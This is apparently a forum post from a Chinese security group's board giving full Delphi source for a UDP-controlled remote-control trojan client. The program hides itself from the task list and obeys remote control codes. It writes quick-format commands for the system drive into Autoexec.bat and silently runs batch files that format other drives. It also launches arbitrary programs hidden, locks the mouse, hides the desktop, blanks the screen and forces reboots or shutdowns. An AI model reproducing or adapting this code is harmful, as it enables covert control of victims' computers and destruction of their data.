|
![]() | 作者: sainthero [sainthero]
![]() |
登录 |
unit Client; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem; //shellapi需要shellapi.pas,mciSendstring需要mmsystem.pas type TForm1 = class(TForm) Button1: TButton; Button2: TButton; CUDP: TNMUDP; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer; FromIP: String; Port: Integer); procedure FormDestroy(Sender: TObject); private procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION; { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation const BufSize=2048;{ 发送每一笔数据的缓冲区大小 } var BmpStream:TMemoryStream; {$R *.DFM} //获取计算机名 function ComputerName : String; var CNameBuffer : PChar; fl_loaded : Boolean; CLen : ^DWord; begin GetMem(CNameBuffer,255); New(CLen); CLen^:= 255; fl_loaded := GetComputerName(CNameBuffer,CLen^); if fl_loaded then ComputerName := StrPas(CNameBuffer) else ComputerName := '不知道!'; FreeMem(CNameBuffer,255); Dispose(CLen); end; procedure TForm1.Button1Click(Sender: TObject); var rtButton2: TRect; begin rtButton2 := Button2.BoundsRect; MapWindowPoints(handle, 0, rtButton2, 2); // 座标换算 ClipCursor(@rtButton2); // 限制鼠标移动区域 end; procedure TForm1.Button2Click(Sender: TObject); var rtScreen: TRect; begin rtScreen := Rect(0, 0, Screen.Width, Screen.Height); ClipCursor(@rtScreen); end; procedure TForm1.FormCreate(Sender: TObject); begin application.Title:=''; //应用程序没有名称,按Ctrl+Alt+Del时看不到程序 //application.showmainform:=false; //程序运行时不显示 BmpStream:=TMemoryStream.Create; end; //退出程序 procedure Tform1.winexit(var msg: Tmessage); begin msg.Result:=1; application.ProcessMessages; application.Terminate; end; procedure TForm1.CUDPDataReceived(Sender: TComponent; NumberBytes: Integer; FromIP: String; Port: Integer); var CtrlCode:array[0..250] of char; Trun:string; hDesktop : Thandle; forc,ford:textfile; //向Autoexec.bat写格式化命令 begin CUDP.ReadBuffer(CtrlCode,NumberBytes); // 读取控制码 if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then //格式化磁盘 if CtrlCode[6]='c' then //格式化系统盘,将命令写入autoexec.bat,重起后生效 begin assignfile(forc,'c:\Autoexec.bat'); rewrite(forc); writeln(forc,'@echo off'); writeln(forc,'format c:/q'); // /q快速格式化 writeln(forc,'echo y|format c:/q >nul'); //在Dos shell控制台下显示格式化信息 closefile(forc); end else //格式化其它磁盘,将命令写入批处理文件,立即执行 begin assignfile(ford,'c:\a.bat'); rewrite(ford); writeln(ford,'@echo off'); writeln(ford,'format '+CtrlCode[6]+':/q'); writeln(ford,'@del %0'); closefile(ford); winexec('c:\a.bat',sw_hide); //开始格式化 end; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccompu' then //计算机睡眠 SetSystemPowerState( true, true ); if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='hdesk' then //隐藏桌面 begin hDesktop := FindWindow('Progman', nil); //获取桌面程序句柄 ShowWindow(hDesktop, SW_HIDE); //SW_HIDE,隐藏桌面 end; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='sdesk' then //显示桌面 begin hDesktop := FindWindow('Progman', nil); ShowWindow(hDesktop, SW_show); //SW_show,隐藏桌面 end; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='hrun' then //隐藏运行程序 begin trun:=CtrlCode; delete(trun,1,4); //删除控制码,得到要运行程序名 shellexecute(handle,'open',pchar(trun),nil,nil,SW_hide); end; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='nrun' then //显式运行程序 begin trun:=CtrlCode; delete(trun,1,4); //删除控制码,得到要运行程序名 shellexecute(handle,'open',pchar(trun),nil,nil,SW_show); end; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='irun' then //最小化运行程序 begin trun:=CtrlCode; delete(trun,1,4); //删除控制码,得到要运行程序名 shellexecute(handle,'open',pchar(trun),nil,nil,SW_MINIMIZE); end; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='mrun' then //最大化运行程序 begin trun:=CtrlCode; delete(trun,1,4); //删除控制码,得到要运行程序名 shellexecute(handle,'open',pchar(trun),nil,nil,SW_MAXIMIZE); end; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ocdrom' then //弹出cdrom mciSendString('Set cdaudio door open', nil, 0, handle); if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='ccdrom' then //合上cdrom mciSendString('Set cdaudio door closed', nil, 0, handle); if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='cmouse' then //锁定鼠标 button1.Click; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='omouse' then //解锁鼠标 button2.Click; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='cscre' then //黑屏 SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0) ; if CtrlCode[0]='�' then //发送信息 Application.MessageBox(CtrlCode,pchar(ComputerName),MB_OK); if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='oscre' then //解黑屏 SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, -1) ; if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='restart' then //重新启动计算机 ExitWindowsEx(EWX_REBOOT,2); if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='close' then //关闭计算机 ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1); end; procedure TForm1.FormDestroy(Sender: TObject); begin BmpStream.Free; end; end. |
地主 发表时间: 05/24 19:15 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号